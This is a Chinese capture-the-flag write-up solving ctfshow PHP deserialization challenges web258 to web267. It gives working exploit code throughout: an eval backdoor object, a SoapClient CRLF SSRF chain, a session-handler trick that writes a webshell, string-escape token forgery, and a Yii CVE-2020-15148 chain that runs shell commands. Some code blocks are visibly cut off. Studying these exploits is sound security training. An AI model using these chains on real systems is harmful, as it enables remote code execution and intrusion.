2978 字
15 分钟
ctfshow-反序列化_01

web258(skip before)#

题目源码:

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

正则表达式不允许o:c:通过

解决方法:将字符串中的o:替换为o:+绕过

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code='system($_POST["shell"]);';
}
$a=new ctfShowUser();
$res=serialize($a);
$res=str_replace('O:','O:+',$res);
$res=str_replace('C:','C:+',$res);
echo(urlencode($res));
?>

因为cookie会被;截断,使用前要url编码一下

然后POST传入命令

652126e24a04190818df4066da3d587a_MD5

web259 SoapClint原生类反序列化#

i chi - soapclint是什么?#

SoapClient是一个功能强大的PHP类,主要用于调用Web服务。 与其他Web服务调用工具相比,它具有易用性、可定制性和灵活性的优势。

ni - 如何利用?#

有的时候我们会遇到只给了反序列化点,但是没有POP链的情况。可以尝试利用php内置类来进行反序列化。

https://cloud.tencent.com/developer/article/1878220

在本题的环境当中,由于使用了Cloudflare代理导致,Cloudflare 会将 HTTP 代理的 IP 地址附加到这个标头,在两次调用array_pop后我们取得的始终是固定的服务器IP。 https://www.cnblogs.com/meng-han/p/16626675.html

普通的修改请求头是无法绕过的

所以我们使用soapclint的__call()函数伪造请求头

index.php调用起soapclint.__call()伪造请求头访问flag.php,其file_put_contents()会将flag放入flag.txt文件

soapclint类:

class SoapClient {
    /* Methods */
    public __construct(?string $wsdl, array $options = [])
    public __call(string $name, array $args): mixed
    public __doRequest(
        string $request,
        string $location,
        string $action,
        int $version,
        bool $oneWay = false
    ): ?string
    public __getCookies(): array
    public __getFunctions(): ?array
    public __getLastRequest(): ?string
    public __getLastRequestHeaders(): ?string
    public __getLastResponse(): ?string
    public __getLastResponseHeaders(): ?string
    public __getTypes(): ?array
    public __setCookie(string $name, ?string $value = null): void
    public __setLocation(?string $location = null): ?string
    public __setSoapHeaders(SoapHeader|array|null $headers = null): bool
    public __soapCall(
        string $name,
        array $args,
        ?array $options = null,
        SoapHeader|array|null $inputHeaders = null,
        array &$outputHeaders = null
    ): mixed
}

调用构造该类对象需要两个参数(?string $wsdl, array $options = [])

CRLF:什么是CRLF,其实就是回车和换行造成的漏洞,十六进制为0x0d,0x0a,在HTTP当中header和body之间就是两个CRLF分割的,所以如果我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样就能注入一些会话cookie和html代码,所以crlf injection 又叫做 HTTP Response Splitting。

相关链接:https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html

在构造中会用到

san - 构造#

先在本地试试!

cd44188a10b0d528326612694ca5720d_MD5

在 SOAP 客户端(soapclient)中,uri 通常指的是 Uniform Resource Identifier(统一资源标识符)。在 SOAP 中,uri 通常指定用于标识 Web 服务的命名空间(namespace)。这个命名空间可以在 SOAP 消息中的 XML 文档顶部声明,以确保在消息中使用的元素和属性能够被正确地解释和处理。

运行该代码,同时nc -lvnp 7779

f2a4eb4f1d050d111fb537585da03cea_MD5 可以看到SOAPAction: "bbb#not_exists_function"

看见了bbb出现在其中,说明SOAPAction的值可控制,可以使用CRLF

参考:https://zhuanlan.zhihu.com/p/80918004

将代码改为:

afdbcb0fc76ebb8a5b1f2ebccc6b53f5_MD5

feb4a564f5dacd3f48fb85fa6b4d65fa_MD5 可以看到成功换行,注意这里uri的内容要用双引号括起来

可惜的是,Content-Type和POST内容仍然无法改变

但ua在Content-Type前面 user_agent同样可以注入CRLF,控制Content-Type的值

为什么要改变Content-Type的值?#

  • Content-Type: application/x-www-form-urlencoded 是一种用于指定 HTTP 请求或响应中包含的数据的类型的标头。具体来说,它指示消息主体中的数据采用了 URL 编码格式。 这种类型的内容通常用于在 HTTP 请求中发送表单数据。当你在 HTML 表单中提交数据时,浏览器通常会将表单字段的名称和值编码为 URL 编码格式,并将它们作为消息主体发送到服务器。服务器在接收到这些数据后,会根据 Content-Type 标头指定的类型来解析数据。(也就是会上传表单,是进行POST传入的条件)

  • Content-Type: text/xml :传xml的

尝试控制token

<?php
$target = 'http://127.0.0.1:7779';
$post_string = 'token=ctfshow';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'ctfshow^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));
//strlen自动生成Content-Length

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
//将^^替换为请求头中的换行
$aaa = str_replace('&','&',$aaa);
//我把它注释掉也不影响什么。。。
echo $aaa;

$c = unserialize($aaa);
$c->not_exists_function();
?>

0f936022cd2d3beda90c627aac124146_MD5 可以看到token的值成功传入

使用SoapClient反序列化+CRLF可以生成任意POST请求。 Deserialization + __call + SoapClient + CRLF = SSRF

回到题目

flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

这里使用了array_pop函数弹出数组最后一个单元

问题不大,多传几个127.0.0.1就行

更简洁的:

<?php
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       ?>';
    }
}

echo urlencode(serialize(new ctfshowvip()));

web262#

message.php

highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}
index.php

error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

可以看到逻辑是将得到的fmt传入msg,序列化、base64编码后放入cookie

如果在message.php界面检测到反序列化后的token是admin就放出flag

cookie是可控的,所以:

e7e9684b63d64124a6e8021d02854d98_MD5

14992722db7bc592a22850e0048213b0_MD5

web263#

i chi - 新知#

php在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取SESSION数据,都会对数据序列化和反序列化,源码中有sessionstart的时候会读取session,从而进行反序列化.php.ini中默认session.serializehandlerphpserialize,而index.php中将其设置为php,这个差异就导致了sesssion反序列化问题。php有三种处理器对_SESSION数据,都会对数据序列化和反序列化,源码中有session_start的时候会读取session,从而进行反序列化. php . ini 中默认 session.serialize_handler 为 php_serialize,而 index.php 中将其设置为 php ,这个差异就导致了 sesssion 反序列化问题。 php有三种处理器对_SESSION数据进行序列化和反序列化。

php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值 php 键名+竖线(|)+经过serialize()函数处理过的值 php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化

29a10078101c231a8f33a7a475c50422_MD5

ni - 解题#

啥都没有,扫网站

0a2888729d034127adfae88c4e5ee8a2_MD5 发现个源码zip,下载

ef7f9dd6ef90a7fa8d90546866ce9313_MD5

index.php

	error_reporting(0);
	session_start();
	//超过5次禁止登陆
	if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
	}else{
		 setcookie("limit",base64_encode('1'));
		 $_SESSION['limit']= 1;
	}
	
?>

发现limit可以被我们控制 (limti

session_start() 函数用于启动会话

check.php中require了inc.php 其中发现User类具有魔术方法可以写入文件

ini_set('session.serialize_handler', 'php'); 使得在inc.php中,php 序列化器使用 PHP 内置的 serialize()unserialize() 函数来处理数据。

这里就是切入点

正常来说在index.php页面存储的session不能正常在check.php和inc/inc.php进行反序列化,但是如果在属性的值中加入|的话 ,在check.php和inc/inc.php页面反序列化的时候|前面的会被看做键名,会对|后面的进行反序列化

<?php
                                                                                                                                                                 ?>';
	//写入文件的内容
  
    // public $status;

    // function setStatus($s){
    //     $this->status=$s;
    // }
    // function __destruct(){
    //     file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    // }
}

echo  urlencode(base64_encode("|".serialize(new User)));
//输出时将序列化代码放到|之后再进行base64编码

首先在index.php修改cookie

d729d4a10146a266858057e70b4e8ae0_MD5 limit后即为我们生成的序列化代码,访问后limit的内容被以php_serialize的方式放入session

之后用这个cookie访问check.phpinc/inc.php,其中包含的sessio_start()方法会读取session文件,而我们知道inc.php的反序列化是用php内置的序列化和反序列化函数进行的,以此激发User类的魔术方法,生成包含一句话木马的文件

多尝试几次(反正我是

访问log-1.php

571f770f419a1a985a4852fb9873e301_MD5

web264 PHP反序列化字符逃逸#

i chi - 原理#

https://blog.csdn.net/qq_45521281/article/details/107135706 讲的很清晰

<?php
function filter($str){
    return str_replace('bb', 'ccc', $str);
}
class A{
    public $name='aaaa';
    public $pass='123456';
}
$AA=new A();
echo serialize($AA)."\n";$res=filter(serialize($AA));

$c=unserialize($res);
echo $c->pass;
?>

输出结果:

O:1:"A":2:{s:4:"name";s:4:"aaaa";s:4:"pass";s:6:"123456";}

filter函数会将序列化字符串中的bb转换为ccc

根据序列化字符串的特点,会以;}结束序列化的读取

所以如果我们把”;}带入需要反序列化的字符串中(除了结尾处),就能让反序列化提前闭合结束,后面的内容就丢弃了。

若我们将代码修改为 601269423af75694203d4d8d72f0f1db_MD5

尝试运行会导致失败

name的长度在序列化时为6个,经过filter的过滤后变为了7个字符,name此时的值是aaaacc,最后的c无法读取,这样就形成了字符串逃逸

当我们添加多个bb,每添加一个bb我们就能逃逸一个字符,那我们将逃逸的字符串的长度填充成我们要反序列化的代码长度的话那就可以控制反序列化的结果以及类里面的变量值了。

若我们想将pass的内容改为hacker

首先将序列化字符串后半部分(包含pass的内容)修改后拿出来赋值给name

public $name='";s:4:"pass";s:6:"hacker";}';
//在末尾处添加;},达到提前闭合的效果

之后我们知道每一个bb会造成一个字符的逃逸,而name的内容有27个字符

所以放27个bb

1a06679d97ba0463ef3c543ef61a5096_MD5 输出结果,可以看到pass的值我们已成功修改 d479cc0ddac2cb5b5993d3dfac9efbef_MD5

如果不加27个bb的话: e36d2d64a18b25486a6be3652272ebdc_MD5 无法成功提前闭合,因为有个"

ni - 解题#

原序列化

O:7:"message":4:{s:4:"from";N;s:3:"msg";N;s:2:"to";N;s:5:"token";s:4:"user";}

算上闭合;s:5:"token";s:5:"admin";共计27个字符,前面加27个fuck

44cb2252ff1d3a7af4ec3122fc1c51ba_MD5

得到

Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO047czozOiJtc2ciO047czoyOiJ0byI7czoxMzQ6ImZ1Y2tmdWNrZnVja2Z1Y2tmdWNrZnVja2Z1Y2tmdWNrZnVja2Z1Y2tmdWNrZnVja2Z1Y2tmdWNrZnVja2Z1Y2tmdWNrZnVja2Z1Y2tmdWNrZnVja2Z1Y2tmdWNrZnVja2Z1Y2tmdWNrZnVjaztzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9IjtzOjU6InRva2VuIjtzOjQ6InVzZXIiO30=
payload:
?f=1&m=1&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

/payload后,访问message.php,在cookie中添加msg

8e8bbb4f2199ddeb3b3df36675c5b339_MD5

之后输出flag

web265 浅拷贝#

https://juejin.cn/post/6844904197595332622

浅拷贝是创建一个新对象,这个对象有着原始对象属性值的一份精确拷贝。如果属性是基本类型,拷贝的就是基本类型的值,如果属性是引用类型,拷贝的就是内存地址 ,所以如果其中一个对象改变了这个地址,就会影响到另一个对象。

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

根据浅拷贝的知识点,只要让两个属性指向同一片内存,那么即使token被赋予随机md5值,二者也会是相等得了

<?php
class ctfshowAdmin{
    public $token;
    public $password;
    public function __construct(){
        $this->token='a';
        $this->password =&$this->token;
}
}
$a=new ctfshowAdmin();
echo urlencode(serialize($a));

web266#

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

$cs是通过POST方式传入的,所以先抓包

通过分析代码我们知道检测到类名就会报错

i chi 大小写#

所以主要考绕过正则

一眼顶针发现大小写没过滤 33e5ef9d7d9eb88deb73e86b874d9c62_MD5

ni 破坏序列化字符串结构#

当php接收到畸形序列化字符串时,PHP由于其容错机制,依然可以反序列化成功。但是,由于你给的是一个畸形的序列化字符串,总之他是不标准的,所以PHP对这个畸形序列化字符串得到的对象不放心,于是PHP就要赶紧把它清理掉,那么就触发了他的析构方法。

  • 改掉属性的个数
  • 删掉结尾的}

e31605d55e437d8643bd506bf266ded4_MD5

web267#

admin作为账号密码登录

一个个翻源码发现about提示view-source

83637acbfd57dc34f851f532a1d23ea8_MD5 提示了后门地址

34c7fb7550f09c9a6911994c7f1f8876_MD5 这里提供了反序列化入口

结合Yii框架漏洞进行反序列化 1314abee43d92c5527360e1aaeeba745_MD5

CVE-2020-15148 https://xz.aliyun.com/t/8307

复现时注意Yii版本

根据文章构造exp:

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
 
        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'tac /flag';
        }
    }
}
 
namespace Faker{
    use yii\rest\CreateAction;
 
    class Generator{
        protected $formatters;
 
        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}
 
namespace yii\db{
    use Faker\Generator;
 
    class BatchQueryResult{
        private $_dataReader;
 
        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}

payload:

url/?r=//backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6ODoicGFzc3RocnUiO3M6MjoiaWQiO3M6OToidGFjIC9mbGFnIjt9aToxO3M6MzoicnVuIjt9fX19

怎么期中这么快#

复习期中了。。。剩下的之后在做

ctfshow-反序列化_01
http://orxiain.life/posts/ctfshow-反序列化_01/
作者
𝚘𝚛𝚡𝚒𝚊𝚒𝚗.
发布于
2024-07-29
许可协议
CC BY-NC-SA 4.0